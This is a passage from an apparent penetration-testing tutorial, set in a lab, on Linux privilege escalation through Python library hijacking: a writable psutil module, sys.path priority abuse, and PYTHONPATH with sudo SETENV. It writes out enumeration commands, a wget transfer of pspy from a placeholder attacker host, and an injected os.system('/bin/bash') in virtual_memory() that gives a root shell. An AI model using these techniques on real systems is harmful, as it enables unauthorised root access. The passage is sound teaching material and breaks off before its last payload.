The Python Script must be executed by a user with more privileges that the current one
The current user must have read permissions on the Python Script
The current user must have write permissions on the Module importing the Python Script
Scenarios
The situation described by the first requirement can be projected in the following scenarios →
Sudo Privilege
The attacker checks if the current user has any type of sudo privileges as follows →
sudo -l
It appears that the user has privileges to execute as Any User (ALL) a particular Python Script
So, the same applies here, if the attacker has read permissions on the Python Script, just examine its content to see what modules it imports
Cron Job
There may be a Cron Job or task that is being executed recurrently on the system by a user with more privilieges than the current one
Download and transfer to the target a tool like PsPy to monitor them all
From the Attacker
curl --silent --request GET --remote-name --location "https://github.com/DominicBreuker/pspy/releases/download/vX.X.X/pspy64"
python3 -m http.server <PORT>
From the Target
wget "http://<ATTACKER>:<PORT>/pspy64" -O pspy64
chmod 700 !$ && ./pspy64
Once the attacker finds out a Cron Job which executes a Python Script, he just need read permissions on it to check its content and see what Python Modules it imports
Important
As mentioned earlier, the current user must have write permissions on the imported python module in order to modify it and escalate privileges when the privileged user executes the script
Abuse
Looking for a privileged python script
So, let’s suppose we find a out a binary which has the SUID bit set and its owner is the ROOT user
find / -perm -4000 -user root -type f 2> /dev/null
This binary turns out to be a python script for which we have read permissions
ls -l /development/dummie.py
Command Output
-rwsrwxr-x 1 root 4l3xbb 188 Dec 13 20:13 dummie.py
However, since there is a shebang within the python script ( as usual ), the kernel will ignore the SUID bit when the script is executed due to security restrictions
So, we could run system commands but the effective user will remain the current user
Therefore, we continue our local enumeration stage by listing the sudo privileges of the current user
sudo -l
And we see that the current user can run the following command as any system user
/usr/bin/python3 /home/htb-student/mem_status.py
Knowing this, the next thing we have to do is to check if the given python script imports any libraries
Inspecting the content of the given python script
Let’s inspect the its content and see whether it imports any libraries or not
In order to check if we have write permissions over the files where the function is defined, we can proceed as follows
while IFS= read -r _filedo ls -l "$_file"done < <( grep -RliP --color -- 'def virtual_memory' /usr/lib/python3/dist-packages/psutil )
Command Output
...<SNIP>...-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py...<SNIP>...
Modifying the python library file
And Others has write permissions, so we could add custom code at the beginning of the function declaration to carry out certain actions, such as spawning a bash instance
Since the python script will run as ROOT, we will receive a shell as the latter
To do so, we can use the os python library in order to run system commands
_init_.py
...<SNIP>...def virtual_memory(): import os os.system('/bin/bash') global _TOTAL_PHYMEM ret = _psplatform.virtual_memory() # cached for later use in Process.memory_percent() _TOTAL_PHYMEM = ret.total return ret...<SNIP>...
Running the privileged Python Script
/development/dummie.py
And as stated, we gain a shell as Root
Library Path Abuse
Requirements
The library or module imported by the privileged python script is located under of the lower priority paths listed within the PYTHONPATH variable
The current user must have WRITE permissions over one of the paths having higher priority on the list
Abuse
Continuing with the previous example, we know that our current user has sudo privileges
As we saw, we can check them as follows
Listing sudo privileges
sudo -l
Command Output
Matching Defaults entries for 4l3xbb on ACADEMY-LPENIX: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser 4l3xbb may run the following commands on ACADEMY-LPENIX: (ALL : ALL) NOPASSWD: /usr/bin/python3 /development/dummie.py
And we see that the current user can run the same python script, namely /development/dummie.py
As we know, the latter imports the psutil module, but this time we do not have write permissions over the library python file where the called function ( virtual_memory() ) is declared
Retrieving the value of the PYTONPATH parameter
Regardless of this, we can list the value of the PYTHONPATH parameter as follows
We see that this path is one of the lowest within the PYTHONPATH list. Therefore, we could check if we have WRITE permissions for any of the directories listed above it
To do, we proceed as follows
python3 -c 'import sys; print("\n".join(sys.path))' | awk '/\/usr\/lib\/python3\/dist-packages/ {exit} {print}' | while IFS= read -r _dir ; do ls -ld "$_dir" ; done
Creating a malicious library within the writable directory
And we see that Others has write permissions on the /usr/lib/python3.13 directory
As this path is higher on the list than the path in which psutil is installed, we can abuse this misconfiguration by creating our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.13 directory
To do so, simply create the following python script in the directory above
The code snippet above will spawn a bash instance when we run the dummie.py python script with sudo privileges, as follows
sudo /usr/bin/python3 /development/dummie.py
And again, we gain a shell as ROOT 😊
PYTHONPATH Env. Parameter
Requirements
The current user has sudo privileges to run a python script and the SETENV: directive is set
Abuse
We listed the value of the PYTHONPATH parameter when carrying out the Library Path Abuse
However, we did not explain the importance of this parameter. It is an environment parameter that indicates what directories python can search for modules to import
It is important to note that the first modules take precedence over the rest as we saw in the previous example
Therefore, if our current user is able to set the PYTHONPATH variable while running the given python binary, we can effectively redirect python’s search functionality to a user-defined location when it comes time to import modules
For instance, we can set the PYTHONPATH parameter to only the /tmp directory and copy our psutil.py script to the latter, so when running the script, python will look for the psutil module within the /tmp directory
Listing sudo privileges
sudo -l
Command Output
Matching Defaults entries for 4l3xbb on ACADEMY-LPENIX: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser 4l3xbb may run the following commands on ACADEMY-LPENIX: (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 /development/dummie.py
As we can see, the SETENV: directive is applied to the sudo privilege above, so we can modify any env parameter at runtime, including the PYTHONPATH parameter
Therefore, simply create the following psutil pyton script in the /tmp directory